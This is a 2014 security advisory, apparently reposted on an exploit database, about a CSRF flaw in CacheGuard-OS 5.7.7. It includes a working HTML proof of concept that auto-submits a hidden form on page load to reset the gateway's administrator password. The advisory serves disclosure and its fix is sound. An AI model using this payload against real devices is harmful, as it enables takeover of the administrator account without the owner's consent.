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CacheGuard-OS 5.7.7 - CSRF Vulnerability
I. VULNERABILITY
-------------------------
CSRF vulnerabilities in CacheGuard-OS v5.7.7
II. BACKGROUND
-------------------------
CacheGuard is an All-in-One Web Security Gateway providing firewall,
web antivirus, caching, compression, URL filtering, proxy, high
availability, content filtering, bandwidth saving, bandwidth shaping,
Quality of Service and more.
III. DESCRIPTION
-------------------------
Has been detected a CSRF vulnerability in CacheGuard in
"/gui/password-wadmin.apl"
IV. PROOF OF CONCEPT
-------------------------
The application does not validate the parameter any csrf_token
"/gui/password-wadmin.apl".
<html>
<body onload="CSRF.submit();">
<br>
<br>
<form id="CSRF" action="https://10.200.210.123:8090/gui/password-wadmin.apl"
method="post" name="CSRF">
<input name="password1" value="admin@1234" type=hidden> </input>
<input name="password2" value="admin@1234" type=hidden> </input>
</form>
</body>
</html>
V. BUSINESS IMPACT
-------------------------
CSRF allow the execution attackers to modify settings or change
password of user administrator in CacheGuard, because this functions
are not protected by CSRF-Tokens.
VI. REQUIREMENTS
-----------------------
An Attacker needs to know the IP of the device.
An Administrator needs an authenticated connection to the device.
VII. SYSTEMS AFFECTED
-------------------------
Try CacheGuard-OS v5.7.7
VIII. SOLUTION
-------------------------
All functions must be protected by CSRF-Tokens.
http://www.kb.cert.org/vuls/id/241508
By William Costa
william.costa no spam gmail.com
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18 Sep 2014 00:00Current
7.1High risk
Vulners AI Score7.1